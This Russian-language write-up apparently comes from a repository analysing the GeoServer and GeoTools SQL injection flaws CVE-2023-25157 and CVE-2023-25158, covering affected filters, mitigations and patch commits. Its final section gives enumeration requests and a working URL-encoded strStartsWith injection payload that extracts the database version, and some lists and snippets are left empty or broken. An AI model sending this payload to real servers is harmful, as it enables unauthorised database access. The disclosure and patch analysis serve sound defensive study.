
GeoServer & GeoTools SQL-инъекция (CVE-2023-25157 и CVE-2023-25158)
Этот репозиторий содержит подробное описание и шаги по воспроизведению уязвимостей SQL-инъекции, обнаруженных в платформе GeoServer и библиотеке GeoTools. Уязвимостям присвоены идентификаторы CVE-2023-25157 для GeoServer и CVE-2023-25158 для GeoTools.
GeoServer — это сервер с открытым исходным кодом, написанный на Java, который предоставляет возможность просматривать, редактировать и обмениваться геопространственными данными. Он спроектирован как гибкое и эффективное решение для распространения геопространственных данных из различных источников, таких как базы данных геоинформационных систем (ГИС), веб-данные и личные наборы данных.
GeoServer соответствует стандартам Open Geospatial Consortium (OGC) для обмена данными, включая Web Feature Service (WFS), Web Map Service (WMS) и Web Coverage Service (WCS). Такое соответствие стандартам означает, что данные GeoServer могут использоваться в самых разных приложениях — от специально разработанного ГИС-программного обеспечения до готовых решений.
GeoServer в основном построен на Spring Framework, однако также использует ряд других библиотек и фреймворков, включая:
GeoTools: Библиотека Java с открытым исходным кодом, предоставляющая инструменты для работы с геопространственными данными. GeoServer использует GeoTools для многих своих основных функций, таких как чтение, запись и преобразование данных.Рассматриваемые уязвимости глубоко встроены в выражения фильтров и функций, определённые стандартами Open Geospatial Consortium (OGC). Эти выражения составляют основу запросов и манипуляций с геопространственными данными, играя ключевую роль в функциональности таких систем, как GeoServer и GeoTools.
При эксплуатации этих уязвимостей могут возникать серьёзные нарушения безопасности. Основной проблемой является несанкционированное раскрытие информации, поскольку злоумышленники могут получить доступ к конфиденциальным данным, хранящимся в базе данных. Ещё одним возможным последствием является несанкционированная модификация данных: злоумышленники могут манипулировать данными в своих интересах. Кроме того, эти уязвимости могут способствовать нарушению работы сервиса: успешная эксплуатация может привести к его недоступности.
Ниже представлен углублённый анализ каждой выявленной уязвимости. Каждая уязвимость рассматривается подробно: обсуждаются её специфические характеристики, условия, приводящие к её проявлению, и потенциальные последствия эксплуатации. Вот подробный разбор уязвимостей, обнаруженных в GeoServer:
PropertyIsLike фильтр: эта уязвимость присутствует, когда фильтр PropertyIsLike используется с полем String в сочетании с любым хранилищем (Store) на основе реляционной базы данных, PostGIS DataStore с включёнными encode functions или любым image mosaic с индексом, хранящимся в реляционной базе данных.strEndsWith функция: эта уязвимость возникает, когда функция strEndsWith используется с PostGIS DataStore с включёнными encode functions.strStartsWith функция: эта уязвимость обнаруживается, когда функция strStartsWith используется с PostGIS DataStore с включёнными encode functions.FeatureId фильтр: эта уязвимость присутствует, когда фильтр FeatureId используется с любой таблицей базы данных, имеющей столбец первичного ключа типа String, и когда отключены prepared statements.jsonArrayContains функция: эта уязвимость обнаруживается, когда функция jsonArrayContains используется с полем String или JSON и с PostGIS или Oracle DataStore (только в GeoServer 2.22.0 и более поздних версиях).DWithin фильтр: эта уязвимость обнаруживается, когда фильтр DWithin используется с Oracle DataStore.А вот подробный разбор уязвимостей, обнаруженных в GeoTools:
PropertyIsLike фильтр:
strEndsWith функция:
strStartsWith функция:
FeatureId фильтр:
jsonArrayContains функция:
DWithin фильтр:
CVE-2023-25157 GeoServer SQL Injection.CVE-2023-25158 GeoTools SQL Injection.Рекомендуемый порядок действий для обеих уязвимостей — GeoServer SQL-инъекция (CVE-2023-25157) и GeoTools SQL-инъекция (CVE-2023-25158) — заключается в обновлении до указанных версий или более новых. Если это обновление уже выполнено, дополнительные шаги не требуются. Однако для тех, кому может быть сложно выполнить обновление оперативно, команда Geo предоставила несколько альтернативных решений ниже.
Отключение настройки encode functions в PostGIS Datastore для смягчения уязвимостей strEndsWith, strStartsWith (фильтры like не имеют мер смягчения, если в опубликованном типе объектов (feature type) присутствует строковое поле).
Включение настройки preparedStatements в PostGIS DataStore для смягчения уязвимости FeatureId.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
- В качестве хорошей практики для ограничения поверхности атаки важно предоставлять учётной записи базы данных, используемой для пулов соединений, минимально необходимый уровень привилегий (например, только чтение, если не используются WFS-T/importer/REST granule harvesting, а доступ ограничен только схемами и таблицами, необходимыми для производственного использования)
- Для фильтра `PropertyIsLike` не предусмотрено никаких мер защиты; вы можете отключить database DataStores, пока не сможете выполнить обновление.
- Для `DWithin` с Oracle DataStore также не предусмотрено никаких мер защиты; вы можете отключить Oracle DataStores, пока не сможете выполнить обновление.
### <b>Анализ патча: GitHub Issue и связанные коммиты</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Ниже приведены ссылки на несколько соответствующих задач JIRA, касающихся уязвимостей SQL-инъекций, обнаруженных как в GeoServer, так и в GeoTools. Эти ссылки предоставляют доступ к важным данным, обсуждениям и предлагаемым решениям, связанным с этими конкретными уязвимостями.
- [GEOS-10842: JDBCConfig: экранирование пользовательского ввода в SQL-запросах](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: добавление параметра конфигурации JDBC для отключения SQL-комментариев и pretty-printing](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: экранирование пользовательского ввода в SQL-запросах](https://osgeo-org.atlassian.net/browse/GEOT-7302)
Если посмотреть на коммит [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), можно ясно увидеть следующие изменения соответственно:
- В [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java) добавлено поле свойства, а также изменены конструкторы, чтобы включить это поле свойства. Это позволяет более гибко настраивать конфигурацию базы данных, что потенциально позволяет усилить меры безопасности. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) — это класс, предоставляемый Spring Framework, который добавляет поддержку программирования JDBC-операторов с использованием именованных параметров, в отличие от программирования JDBC-операторов с использованием классических заполнителей ('?') в качестве аргументов. В этом коммите конструктор `ConfigDatabase` обновлён, чтобы принимать `DataSource` и создавать из него `NamedParameterJdbcTemplate`. Именованные параметры улучшают читаемость и также могут предотвращать атаки SQL-инъекций, поскольку они чётко показывают, что аргумент параметризован и не является частью SQL-команды.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
Похоже, что сама уязвимость SQL-инъекции была устранена за счёт более безопасного построения и выполнения SQL-запросов, а именно через использование параметризованных запросов вместо конкатенации строк, что видно по изменениям в вызовах template.queryForObject. Вместо использования sql.toString() теперь передаётся сама переменная sql, которая, судя по всему, является безопасно сконструированным SQL-выражением.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
- Объект StringBuilder `sql` в [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) заменяется объектом String. Это изменение может быть существенным для предотвращения атак с помощью SQL-инъекций, поскольку объекты StringBuilder, являясь изменяемыми, могут приводить к непреднамеренным или вредоносным изменениям SQL-запроса. Замена его на String, который является неизменяемым, может помочь предотвратить такие изменения и, таким образом, предотвратить SQL-инъекции.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
Dialect.java был добавлен новый метод escapeComment. Этот метод принимает строку комментария и экранирует потенциально опасные символы в ней. В частности, он, судя по всему, экранирует открывающий и закрывающий символы комментариев SQL ('/*' и '*/'), которые используются в некоторых атаках с помощью SQL-инъекций.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
Добавление комментариев к SQL: Новый метод `appendComment` был добавлен в класс [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) для добавления объектов к SQL в качестве комментария. Если режим отладки не включен, эти методы просто возвращают исходный SQL. Если режим отладки включен, они добавляют строковое представление предоставленных объектов к SQL в виде комментария. Комментарии безопасно экранируются с помощью метода `escapeComment`.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
Условное добавление строк в SQL: метод appendIfDebug был добавлен в класс Dialect. Этот метод добавляет к SQL одну из двух переданных строк в зависимости от того, включён ли режим отладки. В классе Dialect.java добавлено поле debugMode и предоставлен метод setDebugMode() для изменения его состояния. Затем этот режим отладки используется в методе detect().
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
При взгляде на коммит [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) можно ясно увидеть следующие изменения соответственно:
- Добавление поля `escapeBackslash` в классе [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) является мерой предосторожности для предотвращения определённых форм SQL-инъекций, где символ обратной косой черты используется для экранирования специальных символов в синтаксисе SQL. Предоставляя возможность экранировать обратные косые черты в строковых литералах, разработчики позволяют приложению обрабатывать символы обратной косой черты как обычный текст, а не как escape-символы, что, в свою очередь, может ограничить возможности для SQL-инъекций.
Эти изменения работают вместе, чтобы предотвратить SQL-инъекции, гарантируя, что специальные символы в строковых литералах (например, одинарные и двойные кавычки и обратные косые черты) правильно экранируются перед включением в SQL-запрос. Это распространённый способ смягчения уязвимостей SQL-инъекций. Когда `escapeBackslash` установлен в true, обратные косые черты в строковых литералах будут экранироваться при вызове метода [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) класса [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28). Этот метод используется в различных местах класса [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) для экранирования строковых литералов перед их включением в SQL-запрос. Например, [строка 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
— это одно из мест, где вызывается этот метод, и где вступает в действие настройка escapeBackslash. В исходном коде приложение вручную заменяло одинарные кавычки на две одинарные кавычки, что является распространённым способом экранирования одинарных кавычек в SQL. Это важно, поскольку неэкранированные одинарные кавычки могут позволить атакующему преждевременно завершить строковый литерал и добавить собственные SQL-команды, что приводит к уязвимости SQL-инъекции.
В изменённом коде вместо ручной замены одинарных кавычек приложение теперь вызывает метод escapeLiteral() из класса EscapeSql.java. Этот метод предназначен для экранирования не только одинарных кавычек, но и обратных слешей, а также, в зависимости от параметров, возможно, двойных кавычек:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
Благодаря этому приложение может гарантировать, что все специальные символы в SQL-строке экранированы должным образом, что является более надёжным и безопасным подходом к предотвращению SQL-инъекций.
- Изменения в методе `convertToSQL92`: метод `LikeFilterImpl.convertToSQL92` преобразует шаблон из стандартного синтаксиса SQL 'LIKE' в синтаксис SQL-92. В этом коммите в этот метод был добавлен новый параметр. Изменение метода в классе [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) в [строке 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
похоже, добавляет флаг, который, вероятно, влияет на процесс преобразования шаблона. Ранее вызов метода не включал параметр false в конце. Это значение false, предположительно, связано с тем, экранируются ли определённые символы в строке literal в процессе преобразования. Экранирование помогает предотвратить SQL-инъекции, гарантируя, что специальные символы в строке literal не интерпретируются как часть SQL-синтаксиса, а рассматриваются как простые текстовые значения.
out.write() на writeLiteral(): Замена out.write() на writeLiteral() — ещё одно существенное изменение. Метод out.write() просто записывает переданную строку в выходной поток как есть, без какой-либо дополнительной обработки или экранирования. Это потенциально может привести к SQL-инъекции, если строка содержит неэкранированный SQL-синтаксис.```java
writeLiteral(pattern);С другой стороны, `writeLiteral()` предположительно применяет ту или иную форму экранирования или санитизации к строке перед её записью в выходной поток, тем самым снижая риск SQL-инъекции. Это изменение также заменяет прямую операцию записи вызовом `writeLiteral()`, который, вероятно, включает меры предосторожности для предотвращения SQL-инъекций.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
Чтобы правильно эксплуатировать эти уязвимости, сначала необходимо получить:
соответственно. Следовательно, следующий запрос отправляется на целевой сервер для получения доступных имен функций.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

После получения доступных имён объектов необходимо отправить следующий HTTP-запрос, чтобы получить доступные свойства для соответствующих доступных объектов.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

После двух HTTP-запросов, показанных выше, мы перечисляем все доступные имена функций и имена свойств, связанные с этими именами функций. После этого этапа мы можем выполнить процесс эксплуатации, отправив на сервер HTTP-запрос со внедрённой SQL-нагрузкой для любого полученного свойства.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

### <b>Заключение</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
В заключение, обнаружение этих уязвимостей SQL-инъекций в GeoServer и GeoTools, описанных в CVE-2023-25157 и CVE-2023-25158, служит ярким напоминанием о постоянно присутствующих угрозах в цифровом ландшафте. Эти уязвимости, находящиеся в ключевых выражениях фильтров и функций OGC, могут привести к значительным сбоям, а также к несанкционированному доступу к данным или их изменению.
Для получения дополнительной информации об устранении этих уязвимостей посетите следующие ресурсы:
- Коммит, использованный для исправления уязвимости: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- Коммит, использованный для исправления уязвимости: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [Уязвимость SQL-инъекции в OGC-фильтре GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) и [Уязвимость SQL-инъекции в OGC-фильтре GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [База данных рекомендаций GitHub (проверено GitHub): SQL-инъекция в GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [База данных рекомендаций GeoServer: SQL-инъекция в GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) и [База данных рекомендаций GeoTools: SQL-инъекция в GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [Рекомендация NIST для GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) и [Рекомендация NIST для GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [Рекомендация MITRE для GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) и [Рекомендация MITRE для GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)